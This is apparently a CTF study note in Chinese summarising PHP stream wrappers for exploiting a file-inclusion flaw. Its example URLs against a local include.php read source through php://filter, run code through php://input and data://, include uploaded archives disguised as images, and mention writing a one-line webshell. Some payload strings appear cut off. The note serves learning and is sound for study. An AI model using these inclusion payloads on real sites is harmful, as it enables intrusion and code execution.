摘要：參考了這篇文章偽協(xié)議實現(xiàn)命令執(zhí)行的七種姿勢，并根據(jù)自己理解進行了總結(jié)，也算是加深一下印象，方便以后使用。說明文件系統(tǒng)是使用的默認封裝協(xié)議，展現(xiàn)了本地文件系統(tǒng)。允許直接訪問指定的文件描述符。

參考了這篇文章：php偽協(xié)議實現(xiàn)命令執(zhí)行的七種姿勢，并根據(jù)自己理解進行了總結(jié)，也算是加深一下印象，方便以后使用。

條件：

allow_url_fopen:off/on

allow_url_include :off/on

作用：
用于訪問本地文件系統(tǒng)，在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響。
include()/require()/include_once()/require_once()參數(shù)可控的情況下，如導(dǎo)入為非.php文件，則仍按照php語法進行解析，這是include()函數(shù)所決定的。

說明：
file:// 文件系統(tǒng)是 PHP 使用的默認封裝協(xié)議，展現(xiàn)了本地文件系統(tǒng)。當(dāng)指定了一個相對路徑（不以/、、或 Windows 盤符開頭的路徑）提供的路徑將基于當(dāng)前的工作目錄。在很多情況下是腳本所在的目錄，除非被修改了。使用 CLI 的時候，目錄默認是腳本被調(diào)用時所在的目錄。在某些函數(shù)里，例如 fopen() 和 file_get_contents()，include_path 會可選地搜索，也作為相對的路徑。

用法：

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:path	owinfile.ext
smbserversharepath	owinfile.ext
file:///path/to/file.ext

示例：

file://[文件的絕對路徑和文件名]

http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt

[文件的相對路徑和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

[http：//網(wǎng)絡(luò)路徑和文件名]

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

參考：http://php.net/manual/zh/wrappers.file.php

條件：

allow_url_fopen:off/on

allow_url_include :僅php://input php://stdin php://memory php://temp 需要on

作用：
php:// 訪問各個輸入/輸出流（I/O streams），在CTF中經(jīng)常使用的是php://filter和php://input，php://filter用于讀取源碼，php://input用于執(zhí)行php代碼。

說明：
PHP 提供了一些雜項輸入/輸出（IO）流，允許訪問 PHP 的輸入輸出流、標(biāo)準(zhǔn)輸入輸出和錯誤描述符，
內(nèi)存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。

php://filter參數(shù)詳解

該協(xié)議的參數(shù)會在該協(xié)議路徑上進行傳遞，多個參數(shù)都可以在一個路徑上傳遞。具體參考如下：

可用的過濾器列表（4類）

此處列舉主要的過濾器類型，詳細內(nèi)容請參考：https://www.php.net/manual/zh/filters.php

示例：

php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼（針對php文件需要base64編碼）

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input + [POST DATA]執(zhí)行php代碼

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]

若有寫入權(quán)限，寫入一句話木馬

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
"); ?>

參考：https://php.net/manual/zh/wrappers.php.php

條件：

allow_url_fopen:off/on

allow_url_include :off/on

作用：zip:// & bzip2:// & zlib:// 均屬于壓縮流，可以訪問壓縮文件中的子文件，更重要的是不需要指定后綴名，可修改為任意后綴：jpg png gif xxx 等等。

示例：

zip://[壓縮文件絕對路徑]%23[壓縮文件內(nèi)的子文件名]（#編碼為%23）

壓縮 phpinfo.txt 為 phpinfo.zip ，壓縮包重命名為 phpinfo.jpg ，并上傳

http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt

compress.bzip2://file.bz2

壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳（同樣支持任意后綴名）

http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2

compress.zlib://file.gz

壓縮 phpinfo.txt 為 phpinfo.gz 并上傳（同樣支持任意后綴名）

http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz

參考：http://php.net/manual/zh/wrappers.compression.php

條件：

allow_url_fopen:on

allow_url_include :on

作用：自PHP>=5.2.0起，可以使用data://數(shù)據(jù)流封裝器，以傳遞相應(yīng)格式的數(shù)據(jù)。通常可以用來執(zhí)行PHP代碼。

用法：

data://text/plain,
data://text/plain;base64,

示例：

data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,

data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

條件：

allow_url_fopen:on

allow_url_include :on

作用：常規(guī) URL 形式，允許通過 HTTP 1.0 的 GET方法，以只讀訪問文件或資源。CTF中通常用于遠程包含。

用法：

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

示例：

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

phar://協(xié)議與zip://類似，同樣可以訪問zip格式壓縮包內(nèi)容，在這里只給出一個示例：

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外在 Black Hat 2018 大會上，研究人員公布了一款針對PHP應(yīng)用程序的全新攻擊技術(shù)：phar://協(xié)議對象注入技術(shù)。

因為該利用點需要滿足一定的條件才能利用，可以參考下面這篇文章，里面的demo也非常詳細，留作以后專門研究一下。

參考文章：seebug - 利用 phar 拓展 php 反序列化漏洞攻擊面